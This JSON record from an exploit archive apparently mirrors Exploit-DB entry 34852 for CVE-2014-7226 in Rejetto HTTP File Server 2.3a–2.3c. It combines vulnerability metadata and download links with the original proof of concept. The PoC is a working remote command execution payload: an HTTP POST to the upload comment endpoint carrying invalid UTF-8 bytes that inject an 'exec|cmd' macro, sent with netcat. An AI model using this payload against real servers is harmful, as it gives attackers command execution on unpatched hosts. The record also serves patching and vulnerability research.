{"exploit":{"id":"EDB-34852","name":"Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution","description":"Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution","cves":["CVE-2014-7226"],"author":"Daniele Linguaglossa","published":"2014-10-02","platform":"windows","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/34852","path":"exploits/windows/webapps/34852.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-34852.txt","vulnerabilities":[{"id":"CVE-2014-7226","state":"PUBLISHED","title":null,"titleSource":null,"description":"The file comment feature in Rejetto HTTP File Server (hfs) 2.3c and earlier allows remote attackers to execute arbitrary code by uploading a file with certain invalid UTF-8 byte sequences that are interpreted as executable macro symbols.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-7226","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-7226"},"updatedAt":"2024-08-06T12:40:19.268Z","retrievedAt":"2026-11-26T21:10:42.594Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-34852.png?v=2","url":"https://exploitbin.com/exploits/EDB-34852","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-34852/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-34852/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"==========================================================\nHTTP File Server 2.3a - 2.3b - 2.3c Remote Command Execution\n\n# Author : Daniele Linguaglossa\n# Date: 30/09/2014\n# Remote: Yes\n# Vendor Homepage: http://rejetto.com/\n# Software Link: http://downloads.sourceforge.net/hfs/hfs2.3c.src.zip\n# CVE: CVE-2014-7226\n# Vendor Hompage: http://www.rejetto.com\n# Tested on: Windows 8\n# Version: 2.3a - 2.3b - 2.3c\n\nThe latest HTTP File Server (2.3c and maybe prior too) was found to be\nvulnerable to a remote command execution in the file comment features ,\nbecause the application did not properly validate uft-8 broken byte\nrepresentation, in fact during parsing program won't notice that there are\nmultiple invalid representation and when they are printed into the page\nwill get replaced with one of these characters \" { . | } \"  causing a macro\nto be executed.\n==========================================================\nPoC\n==========================================================\nbug-utf8.txt\n==========================================================\nPOST /upload/?mode=section&id=ajax.comment HTTP/1.1\nConnection: Close\nContent-Type:application/x-www-form-urlencoded\n\ntext=%c1%bb%c0%aeexec%c1%bccmd%c0%ae%c1%bd&files=x\n==========================================================\n\nCopy the following on a file called bug-utf8.txt , then open hfs and add a\nfolder called upload,\nit will ask if anyone should have upload permission click yes then with\nnetcat do the following:\n\nnc localhost 8080 < bug-utf8.txt\n\nif everything was fine you should see a new command prompt being executed\nfrom hfs.\n\n==========================================================\nEOF","sha256":"ddb9da16180c7156066a79aafaeb46f84aa2a861e4ee589c0d5fd101e4e814d1","bytes":1660,"fetchedAt":"2026-11-26T21:10:39.404Z","encoding":"utf-8 (display only; download retains original bytes)"}